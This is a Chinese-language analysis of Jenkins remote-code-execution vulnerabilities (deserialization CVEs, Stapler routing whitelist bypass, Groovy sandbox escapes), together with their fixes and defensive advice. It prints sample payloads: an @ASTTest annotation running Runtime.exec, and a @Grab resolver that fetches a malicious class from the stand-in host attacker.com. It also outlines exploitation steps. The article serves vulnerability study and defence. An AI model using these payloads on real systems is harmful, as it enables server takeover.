Jenkins RCE漏洞分析汇总
字数 1909 2025-08-26 22:11:14
Jenkins RCE漏洞分析汇总
0x01 前言
Jenkins作为流行的持续集成工具,历史上存在多个远程代码执行漏洞。本文将对Jenkins的RCE漏洞进行系统分析,重点关注通过CLI和HTTP两种触发方式的漏洞原理及利用方法。
0x02 环境搭建
调试环境搭建方法:
- 在catalina.sh或catalina.bat中添加调试参数
- 使用命令开启调试端口(默认8000):
- Windows:
catalina.bat jpda start - Linux:
catalina.sh jpda start
- Windows:
0x03 漏洞分析
CLI方式触发漏洞
CVE-2015-8103
漏洞原理:
- 利用Apache Commons Collections库构造POP链进行反序列化攻击
- 通过Jenkins CLI的TCP Socket通信触发
漏洞触发流程:
- 获取Jenkins CLI端口:
X-Jenkins-CLI-Port - 建立Socket连接
- 发送包含恶意序列化对象的请求
关键代码路径:
hudson.TcpSlaveAgentListener#ConnectionHandler.run()hudson.cli.CliProtocol#handle()hudson.remoting.ChannelBuilder#build()hudson.remoting.ChannelBuilder.negotiate()hudson.remoting.Capability#read()- 反序列化触发点
修复方式:
- 引入黑名单机制,禁止反序列化危险类
- 黑名单包含
org.apache.commons.collections.functors等关键类
CVE-2017-1000353
漏洞原理:
- 传输序列化的Java SignedObject对象绕过黑名单保护
- 反序列化ObjectInputStream作为Command对象执行
影响版本:Jenkins LTS <= 2.46.1
关键代码路径:
hudson.cli.CLIAction处理HTTP请求hudson.model.FullDuplexHttpChannel#downloadhudson.remoting.ChannelBuilder#negotiatehudson.remoting.Command#readFrom- 反序列化触发点
修复方式:
- 将
java.security.SignedObject加入黑名单
HTTP方式触发漏洞
CVE-2018-1000861
动态路由分析:
- 所有请求由
org.kohsuke.stapler.Stapler处理 - 路由解析优先级:
- StaplerProxy
- StaplerOverridable
- StaplerFallback
- 路由解析过程:
- 获取MetaClass
- 通过反射调用对应方法
白名单绕过技术:
- 利用Java对象继承特性:所有对象都有
getClass()方法 - 示例利用链:
对应调用链:/adjuncts/whatever/class/classLoader/resource/index.jsp/contentgetAdjuncts("whatever") .getClass() .getClassLoader() .getResource("index.jsp") .getContent()
利用链条示例:
/securityRealm/user/test解析过程:
jenkins.model.Jenkins.getsecurityRealm()hudson.security.HudsonPrivateSecurityRealm.getUser()hudson.model.User处理hudson.model.DescriptorByNameOwner#getDescriptorByName
沙盒绕过技术:
SECURITY-1266
- 利用
@ASTTest注解执行代码@ASTTest(value={assert java.lang.Runtime.getRuntime().exec("command")}) - 利用
@Grab引入外部恶意类@GrabConfig(disableChecksums=true) @GrabResolver(name='Exp', root='http://attacker.com/') @Grab(group='malicious', module='payload', version='1')
SECURITY-1292
- 修复方式:增强黑名单,禁止危险注解
SECURITY-1318/1319/1320/1321
- 新增禁止的注解类型:
GrabConfigGrabExcludeGrabResolverGrapesAnnotationCollector
SECURITY-1353
- 加强白名单机制,限制危险操作
0x04 漏洞利用
- 推荐工具:
pwn_jenkins项目 - 利用要点:
- 识别Jenkins版本
- 根据版本选择合适的利用方式
- 构造对应payload
- 通过CLI或HTTP方式触发
防御建议
- 及时更新Jenkins到最新版本
- 限制CLI端口的网络访问
- 实施严格的网络隔离
- 监控异常行为
参考资源
- Jenkins官方安全公告
- CVE详细描述
- 漏洞利用PoC
- 沙盒绕过技术分析文章